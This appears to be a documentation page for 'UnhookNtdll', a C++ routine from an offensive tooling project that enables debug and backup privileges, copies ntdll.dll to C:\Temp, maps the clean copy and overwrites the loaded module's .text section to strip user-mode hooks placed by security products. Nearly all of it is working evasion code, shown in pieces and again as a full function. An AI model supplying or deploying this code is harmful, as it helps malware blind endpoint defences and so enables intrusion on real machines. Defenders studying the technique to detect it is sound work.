UnhookNtdll [source]

Overview

UnhookNtdll is a native C++ routine that restores the original ntdll.dll in memory by mapping a clean copy from disk and overwriting the in-memory .text section. This evades user-mode hooks placed by security products, ensuring all NT API entry points remain untainted.

Detailed Breakdown & In-Depth Snippets

1. Privilege Escalation & Local Copy Creation

Before touching system files, the code enables backup, restore, and debug privileges, then copies C:\Windows\System32\ntdll.dll to C:\Temp\ntdll_copy.dll if it doesn’t already exist.

BOOL EnsureLocalNtdllCopy() {
    EnableBackupAndRestorePrivileges();
    LPCWSTR src = L"C:\\Windows\\System32\\ntdll.dll";
    LPCWSTR dst = L"C:\\Temp\\ntdll_copy.dll";
    CreateDirectoryW(L"C:\\Temp", nullptr);
    if (!PathFileExistsW(dst)) {
      wprintf(L"[*] Copying %s to %s\n", src, dst);
      CopyFileW(src, dst, FALSE);
    }
    return PathFileExistsW(dst);
}

2. Section Creation & Mapping

The clean DLL copy is opened via NtOpenFile, a section is created with NtCreateSection (type SEC_IMAGE), and then mapped into the current process with NtMapViewOfSection (read-only).

UNICODE_STRING uStr;
RtlInitUnicodeString(&uStr, L"\\??\\C:\\Temp\\ntdll_copy.dll");
OBJECT_ATTRIBUTES objAttr;
InitializeObjectAttributes(&objAttr, &uStr, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
IO_STATUS_BLOCK iosb;
HANDLE fileHandle, sectionHandle;
NtOpenFile(&fileHandle,
           FILE_GENERIC_READ,
           &objAttr,
           &iosb,
           FILE_SHARE_READ,
           FILE_NON_DIRECTORY_FILE);
NtCreateSection(§ionHandle,
                SECTION_MAP_READ,
                nullptr,
                nullptr,
                PAGE_READONLY,
                SEC_IMAGE,
                fileHandle);
PVOID mappingAddr = nullptr;
SIZE_T viewSize = 0;
NtMapViewOfSection(sectionHandle,
                   GetCurrentProcess(),
                   &mappingAddr,
                   0, 0,
                   nullptr,
                   &viewSize,
                   ViewUnmap,
                   0,
                   PAGE_READONLY);

3. Overwriting the .text Section

After retrieving the base of the loaded ntdll.dll via GetModuleInformation, the PE headers are parsed to locate the .text section. Memory is made writable with NtProtectVirtualMemory, then memcpy restores the clean bytes, and original protections are re-applied.

MODULEINFO mi{};
GetModuleInformation(GetCurrentProcess(), hNtdll, &mi, sizeof(mi));
auto dos = (PIMAGE_DOS_HEADER)mi.lpBaseOfDll;
auto ntH = (PIMAGE_NT_HEADERS)((BYTE*)mi.lpBaseOfDll + dos->e_lfanew);
auto sect = IMAGE_FIRST_SECTION(ntH);
for (WORD i = 0; i < ntH->FileHeader.NumberOfSections; i++, sect++) {
  if (strcmp((char*)sect->Name, ".text") == 0) {
    PVOID textBase = (BYTE*)mi.lpBaseOfDll + sect->VirtualAddress;
    SIZE_T textSize = sect->Misc.VirtualSize;
    ULONG oldProt;
    NtProtectVirtualMemory(GetCurrentProcess(),
                           &textBase,
                           &textSize,
                           PAGE_EXECUTE_READWRITE,
                           &oldProt);
    memcpy(textBase,
           (BYTE*)mappingAddr + sect->VirtualAddress,
           textSize);
    NtProtectVirtualMemory(GetCurrentProcess(),
                           &textBase,
                           &textSize,
                           oldProt,
                           &oldProt);
    wprintf(L"[+] .text unhooked\n");
    break;
  }
}

Full Key Snippet

void UnhookNtdll() {
  wprintf(L"[*] UnhookNtdll entered\n");
  EnablePrivilege(SE_DEBUG_NAME);
  if (!EnsureLocalNtdllCopy()) return;

  HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
  // Resolve NT functions: NtOpenFile, NtCreateSection, NtMapViewOfSection,
  // NtProtectVirtualMemory, NtUnmapViewOfSection
  auto NtOpenFile        = (NtOpenFileFunc)       GetProcAddress(hNtdll, "NtOpenFile");
  auto NtCreateSection   = (NtCreateSectionFunc)  GetProcAddress(hNtdll, "NtCreateSection");
  auto NtMapViewOfSection= (NtMapViewOfSectionFunc)GetProcAddress(hNtdll, "NtMapViewOfSection");
  auto NtProtectVM       = (NtProtectVirtualMemoryFunc)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
  auto NtUnmapView       = (NtUnmapViewOfSectionFunc)  GetProcAddress(hNtdll, "NtUnmapViewOfSection");

  // Map clean ntdll_copy.dll into memory
  UNICODE_STRING uStr; RtlInitUnicodeString(&uStr, L"\\??\\C:\\Temp\\ntdll_copy.dll");
  OBJECT_ATTRIBUTES objAttr; InitializeObjectAttributes(&objAttr, &uStr, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
  IO_STATUS_BLOCK iosb; HANDLE fileHandle, sectionHandle;
  NtOpenFile(&fileHandle, FILE_GENERIC_READ, &objAttr, &iosb, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE);
  NtCreateSection(§ionHandle, SECTION_MAP_READ, nullptr, nullptr, PAGE_READONLY, SEC_IMAGE, fileHandle);
  PVOID mappingAddr = nullptr; SIZE_T viewSize = 0;
  NtMapViewOfSection(sectionHandle, GetCurrentProcess(), &mappingAddr, 0, 0, nullptr, &viewSize, ViewUnmap, 0, PAGE_READONLY);

  // Overwrite in-memory .text
  MODULEINFO mi{}; GetModuleInformation(GetCurrentProcess(), hNtdll, &mi, sizeof(mi));
  auto dosH = (PIMAGE_DOS_HEADER)mi.lpBaseOfDll;
  auto ntH  = (PIMAGE_NT_HEADERS)((BYTE*)mi.lpBaseOfDll + dosH->e_lfanew);
  auto secH = IMAGE_FIRST_SECTION(ntH);
  for (WORD i = 0; i < ntH->FileHeader.NumberOfSections; i++, secH++) {
    if (strcmp((char*)secH->Name, ".text") == 0) {
      PVOID base = (BYTE*)mi.lpBaseOfDll + secH->VirtualAddress;
      SIZE_T sz   = secH->Misc.VirtualSize;
      ULONG old;
      NtProtectVM(GetCurrentProcess(), &base, &sz, PAGE_EXECUTE_READWRITE, &old);
      memcpy(base, (BYTE*)mappingAddr + secH->VirtualAddress, sz);
      NtProtectVM(GetCurrentProcess(), &base, &sz, old, &old);
      break;
    }
  }

  NtUnmapView(GetCurrentProcess(), mappingAddr);
  NtClose(sectionHandle);
  NtClose(fileHandle);
  wprintf(L"[+] ntdll.dll unhooked successfully\n");
}